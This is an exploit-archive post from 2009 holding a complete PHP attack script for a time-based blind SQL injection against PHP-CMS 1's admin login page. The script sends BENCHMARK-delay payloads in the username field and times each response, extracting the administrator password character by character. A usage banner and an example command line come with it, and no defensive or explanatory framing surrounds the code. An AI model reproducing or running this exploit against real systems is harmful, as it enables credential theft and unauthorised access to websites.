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phpcms1-sql.txt

Posted on 28 January 2009

--+++===================================================+++--
--+++====== PHP-CMS 1 Blind SQL Injection Exploit ======+++--
--+++===================================================+++--

<?php

function query ($user, $pos, $chr)
{
$query = "x' OR IF((ASCII(SUBSTRING((SELECT password FROM ".
"admin WHERE username='{$user}'),{$pos},1))={$chr}),BENCHMARK".
"(100000000,CHAR(0)),0) OR '1' = '2";

return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
$chr = ord ($chr);

$fp = fsockopen ($hostname, 80);

$post = "username=".query ($user, $pos, $chr) . "&password=x&Submit=ok";

$req =  "POST {$path}/admin/login.php HTTP/1.1
".
"Host: {$hostname}
".
"Connection: Close
".
"Content-Type: application/x-www-form-urlencoded
".
"Content-Length: " . strlen ($post) . "

".
$post;

fputs ($fp, $req);

$start = time ();
while (!feof ($fp))
fgets ($fp, 1024);

$end = time ();

fclose ($fp);

if ($end - $start > 4)
return true;
else
return false;

}

function usage ()
{
echo
"
PHP-CMS 1 Blind SQL Injection Exploit".
"
[+] Author  : darkjoker".
"
[+] Site    : http://darkjoker.net23.net".
"
[+] Download: http://heanet.dl.sourceforge.net/sourceforge/php-cms-project/phpcms.zip".
"
[+] Usage   : php xpl.php <hostname> <path> <username> [<keylist>]".
"
[+] Ex.     : php xpl.php localhost /PHPCMS admin abcdefghijklmnopqrstuvwxyz".
"
[+] Greetz  : my girlfriend, Vivi".
"

";
exit ();
}



if ($argc < 3)
usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" : $argv [4];
$pos = 1;
$chr = 0;

echo "[+] Password: ";
while ($chr < strlen ($key))
{
if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}

echo "

";

?>

 

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